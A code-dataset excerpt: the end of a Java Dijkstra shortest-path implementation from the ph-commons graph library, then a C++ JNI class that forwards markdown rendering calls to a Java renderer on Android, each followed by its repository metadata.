LoggerFactory.getLogger (Dijkstra.class); private static final class WorkElement <N extends IMutableBaseGraphNode <N, ?>> { private final N m_aFromNode; private final int m_nDistance; private final N m_aToNode; /** * Special constructor for the initial state * * @param nDistance * Distance to use * @param aToNode * to-node to use */ public WorkElement (@Nonnegative final int nDistance, @Nonnull final N aToNode) { this (null, nDistance, aToNode); } public WorkElement (@Nullable final N aFromNode, @Nonnegative final int nDistance, @Nonnull final N aToNode) { ValueEnforcer.isGE0 (nDistance, "Distance"); ValueEnforcer.notNull (aToNode, "ToNode"); m_aFromNode = aFromNode; m_nDistance = nDistance; m_aToNode = aToNode; } @Nullable public N getFromNode () { return m_aFromNode; } @Nullable public String getFromNodeID () { return m_aFromNode == null ? null : m_aFromNode.getID (); } @Nonnegative public int getDistance () { return m_nDistance; } @Nonnull public N getToNode () { return m_aToNode; } @Nonnull public String getToNodeID () { return m_aToNode.getID (); } @Nonnull @Nonempty public String getAsString () { return "{" + (m_aFromNode == null ? "" : "'" + m_aFromNode.getID () + "',") + (m_nDistance == Integer.MAX_VALUE ? "Inf" : Integer.toString (m_nDistance)) + ",'" + m_aToNode.getID () + "'}"; } } private static final class WorkRow <N extends IMutableBaseGraphNode <N, ?>> { private final ICommonsOrderedMap <String, WorkElement <N>> m_aElements; public WorkRow (@Nonnegative final int nElements) { ValueEnforcer.isGT0 (nElements, "Elements"); m_aElements = new CommonsLinkedHashMap <> (nElements); } public void add (@Nonnull final WorkElement <N> aElement) { ValueEnforcer.notNull (aElement, "Element"); m_aElements.put (aElement.getToNodeID (), aElement); } @Nullable public WorkElement <N> getElement (@Nullable final String sNodeID) { return m_aElements.get (sNodeID); } /** * @return The element with the smallest distance! */ @Nonnull public WorkElement <N> getClosestElement () { WorkElement <N> ret = null; for (final WorkElement <N> aElement : m_aElements.values ()) if (ret == null || aElement.getDistance () < ret.getDistance ()) ret = aElement; if (ret == null) throw new IllegalStateException ("Cannot call this method without an element!"); return ret; } @Nonnull @ReturnsMutableCopy public ICommonsList <WorkElement <N>> getAllElements () { return m_aElements.copyOfValues (); } } @Immutable public static final class Result <N extends IMutableBaseGraphNode <N, ?>> { private final ICommonsList <N> m_aResultNodes; private final int m_nResultDistance; public Result (@Nonnull @Nonempty final ICommonsList <N> aResultNodes, @Nonnegative final int nResultDistance) { ValueEnforcer.notEmpty (aResultNodes, "EesultNodes"); ValueEnforcer.isGE0 (nResultDistance, "Result Distance"); m_aResultNodes = aResultNodes; m_nResultDistance = nResultDistance; } @Nonnull @ReturnsMutableCopy public ICommonsList <N> getAllResultNodes () { return m_aResultNodes.getClone (); } @Nonnegative public int getResultNodeCount () { return m_aResultNodes.size (); } @Nonnegative public int getResultDistance () { return m_nResultDistance; } @Nonnull @Nonempty public String getAsString () { final StringBuilder aSB = new StringBuilder (); aSB.append ("Distance ").append (m_nResultDistance).append (" for route {"); int nIndex = 0; for (final N aNode : m_aResultNodes) { if (nIndex > 0) aSB.append (','); aSB.append ('\'').append (aNode.getID ()).append ('\''); nIndex++; } return aSB.append ('}').toString (); } } private Dijkstra () {} @Nullable private static <N extends IMutableBaseGraphNode <N, R>, R extends IMutableBaseGraphRelation <N, R>> R _getRelationFromLastMatch (@Nonnull final WorkElement <N> aLastMatch, @Nonnull final N aNode) { if (aNode.isDirected ()) { // Directed // Cast to Object required for JDK command line compiler final Object aDirectedFromNode = aLastMatch.getToNode (); final Object aDirectedToNode = aNode; final IMutableDirectedGraphRelation r = ((IMutableDirectedGraphNode) aDirectedFromNode).getOutgoingRelationTo ((IMutableDirectedGraphNode) aDirectedToNode); return GenericReflection.uncheckedCast (r); } // Undirected return aLastMatch.getToNode ().getRelation (aNode); } @Nonnull public static <N extends IMutableBaseGraphNode <N, R>, R extends IMutableBaseGraphRelation <N, R>> Dijkstra.Result <N> applyDijkstra (@Nonnull final IMutableBaseGraph <N, R> aGraph, @Nonnull @Nonempty final String sFromID, @Nonnull @Nonempty final String sToID, @Nonnull final ToIntFunction <? super R> aRelationCostProvider) { final N aStartNode = aGraph.getNodeOfID (sFromID); if (aStartNode == null) throw new IllegalArgumentException ("Invalid From ID: " + sFromID); final N aEndNode = aGraph.getNodeOfID (sToID); if (aEndNode == null) throw new IllegalArgumentException ("Invalid To ID: " + sToID); // Ordered set for deterministic results final ICommonsOrderedSet <N> aAllRemainingNodes = new CommonsLinkedHashSet <> (aGraph.getAllNodes ().values ()); if (GlobalDebug.isDebugMode ()) if (LOGGER.isInfoEnabled ()) LOGGER.info ("Starting Dijkstra on directed graph with " + aAllRemainingNodes.size () + " nodes starting from '" + sFromID + "' and up to '" + sToID + "'"); // Map from to-node-id to element final ICommonsOrderedMap <String, WorkElement <N>> aAllMatches = new CommonsLinkedHashMap <> (); WorkElement <N> aLastMatch = null; WorkRow <N> aLastRow = null; int nIteration = 0; do { final WorkRow <N> aRow = new WorkRow <> (aAllRemainingNodes.size ()); if (aLastRow == null) { // Initial row - no from node for (final N aNode : aAllRemainingNodes) if (aNode.equals (aStartNode)) { // Start node has distance 0 to itself aRow.add (new WorkElement <> (0, aNode)); } else { // All other elements have infinite distance to the start node (for // now) aRow.add (new WorkElement <> (Integer.MAX_VALUE, aNode)); } } else { // All following rows for (final N aNode : aAllRemainingNodes) { // Find distance to last match final WorkElement <N> aPrevElement = aLastRow.getElement (aNode.getID ()); // Get the relation from the last match to this node (may be null if // nodes are not connected) final R aRelation = Dijkstra.<N, R> _getRelationFromLastMatch (aLastMatch, aNode); if (aRelation != null) { // Nodes are related - check weight final int nNewDistance = aLastMatch.getDistance () + aRelationCostProvider.applyAsInt (aRelation); // Use only, if distance is shorter (=better) than before! if (nNewDistance < aPrevElement.getDistance ()) aRow.add (new WorkElement <> (aLastMatch.getToNode (), nNewDistance, aNode)); else aRow.add (aPrevElement); } else { // Nodes are not related - use result from previous row aRow.add (aPrevElement); } } } // Get the closest element of the current row final WorkElement <N> aClosest = aRow.getClosestElement (); if (GlobalDebug.isDebugMode ()) { final StringBuilder aSB = new StringBuilder ("Iteration[").append (nIteration).append ("]: "); for (final WorkElement <N> e : aRow.getAllElements ()) aSB.append (e.getAsString ()); aSB.append (" ==> ").append (aClosest.getAsString ()); if (LOGGER.isInfoEnabled ()) LOGGER.info (aSB.toString ()); } aAllRemainingNodes.remove (aClosest.getToNode ()); aAllMatches.put (aClosest.getToNodeID (), aClosest); aLastMatch = aClosest; aLastRow = aRow; ++nIteration; if (aClosest.getToNode ().equals (aEndNode)) { // We found the shortest way to the end node! break; } } while (true); // Now get the result path from back to front final int nResultDistance = aLastMatch.getDistance (); final ICommonsList <N> aResultNodes = new CommonsArrayList <> (); while (true) { aResultNodes.add (0, aLastMatch.getToNode ()); // Are we at the start node? if (aLastMatch.getFromNode () == null) break; aLastMatch = aAllMatches.get (aLastMatch.getFromNodeID ()); if (aLastMatch == null) throw new IllegalStateException ("Inconsistency!"); } // Results return new Dijkstra.Result <> (aResultNodes, nResultDistance); } }
phax/ph-commons
ph-graph/src/main/java/com/helger/graph/algo/Dijkstra.java
Java
apache-2.0
12,144
// // Created by chan on 2017/9/19. // #include "AndroidRenderer.h" #include "../misc/RawString2JavaStringHolder.h" void AndroidRenderer::begin() { mJNIEnv->CallVoidMethod(mJavaRenderer, mBeginId); } void AndroidRenderer::end() { mJNIEnv->CallVoidMethod(mJavaRenderer, mEndId); } void AndroidRenderer::renderTitle(RENDERER_UNIT unit, const Text &content) { jint titleSize = mTitleSize5; switch (unit) { case RENDERER_UNIT::TITLE_1: titleSize = mTitleSize1; break; case RENDERER_UNIT::TITLE_2: titleSize = mTitleSize2; break; case RENDERER_UNIT::TITLE_3: titleSize = mTitleSize3; break; case RENDERER_UNIT::TITLE_4: titleSize = mTitleSize4; break; default: break; } RawString2JavaStringHolder holder(mJNIEnv, content); jstring jContent = holder.toJstring(); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderTitleId, titleSize, jContent); } void AndroidRenderer::renderTexture(const Text &content) { RawString2JavaStringHolder holder(mJNIEnv, content); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderTextureId, holder.toJstring()); } void AndroidRenderer::renderTypeface(RENDERER_UNIT unit, const Text &content) { jint typeface = mTypefaceItalic; if (unit == RENDERER_UNIT::BOLD) { typeface = mTypefaceBold; } RawString2JavaStringHolder holder(mJNIEnv, content); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderTypefaceId, typeface, holder.toJstring()); } void AndroidRenderer::renderOrderedList(const Text &num, const Text &content) { RawString2JavaStringHolder numHolder(mJNIEnv, num); RawString2JavaStringHolder contentHolder(mJNIEnv, content); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderOrderedListId, numHolder.toJstring(), contentHolder.toJstring()); } void AndroidRenderer::renderUnorderedList(const Text &content) { RawString2JavaStringHolder holder(mJNIEnv, content); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderUnorderedListId, holder.toJstring()); } void AndroidRenderer::renderNewLine() { mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderNewLineId); } void AndroidRenderer::renderImage(const Text &label, const Text &url) { RawString2JavaStringHolder labelHolder(mJNIEnv, label); RawString2JavaStringHolder urlHolder(mJNIEnv, url); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderImageId, labelHolder.toJstring(), urlHolder.toJstring()); } void AndroidRenderer::renderLink(const Text &label, const Text &url) { RawString2JavaStringHolder labelHolder(mJNIEnv, label); RawString2JavaStringHolder urlHolder(mJNIEnv, url); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderLinkId, labelHolder.toJstring(), urlHolder.toJstring()); } void AndroidRenderer::renderReference(const Text &content, bool append) { RawString2JavaStringHolder holder(mJNIEnv, content); mJNIEnv->CallVoidMethod(mJavaRenderer, mRenderReferenceId, holder.toJstring(), append); } AndroidRenderer::AndroidRenderer(JNIEnv *jNIEnv, jobject &javaRenderer) : mJNIEnv(jNIEnv), mJavaRenderer( javaRenderer) { mJavaClass = mJNIEnv->FindClass("com/chan/mulan/renderer/MarkdownRenderer"); mBeginId = mJNIEnv->GetMethodID(mJavaClass, "begin", "()V"); mEndId = mJNIEnv->GetMethodID(mJavaClass, "end", "()V"); mRenderTitleId = mJNIEnv->GetMethodID(mJavaClass, "renderTitle", "(ILjava/lang/String;)V"); mRenderTextureId = mJNIEnv->GetMethodID(mJavaClass, "renderTexture", "(Ljava/lang/String;)V"); mRenderTypefaceId = mJNIEnv->GetMethodID(mJavaClass, "renderTypeface", "(ILjava/lang/String;)V"); mRenderOrderedListId = mJNIEnv->GetMethodID(mJavaClass, "renderOrderedList", "(Ljava/lang/String;Ljava/lang/String;)V"); mRenderUnorderedListId = mJNIEnv->GetMethodID(mJavaClass, "renderUnorderedList", "(Ljava/lang/String;)V"); mRenderNewLineId = mJNIEnv->GetMethodID(mJavaClass, "renderNewLine", "()V"); mRenderImageId = mJNIEnv->GetMethodID(mJavaClass, "renderImage", "(Ljava/lang/String;Ljava/lang/String;)V"); mRenderLinkId = mJNIEnv->GetMethodID(mJavaClass, "renderLink", "(Ljava/lang/String;Ljava/lang/String;)V"); mRenderReferenceId = mJNIEnv->GetMethodID(mJavaClass, "renderReference", "(Ljava/lang/String;Z)V"); jfieldID field = mJNIEnv->GetStaticFieldID(mJavaClass, "TITLE_SIZE_1", "I"); mTitleSize1 = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TITLE_SIZE_2", "I"); mTitleSize2 = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TITLE_SIZE_3", "I"); mTitleSize3 = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TITLE_SIZE_4", "I"); mTitleSize4 = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TITLE_SIZE_5", "I"); mTitleSize5 = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TYPEFACE_BOLD", "I"); mTypefaceBold = mJNIEnv->GetStaticIntField(mJavaClass, field); field = mJNIEnv->GetStaticFieldID(mJavaClass, "TYPEFACE_ITALIC", "I"); mTypefaceItalic = mJNIEnv->GetStaticIntField(mJavaClass, field); }
ChanJLee/MulanAndroid
mulan/src/main/cpp/render/AndroidRenderer.cpp
C++
apache-2.0
5,528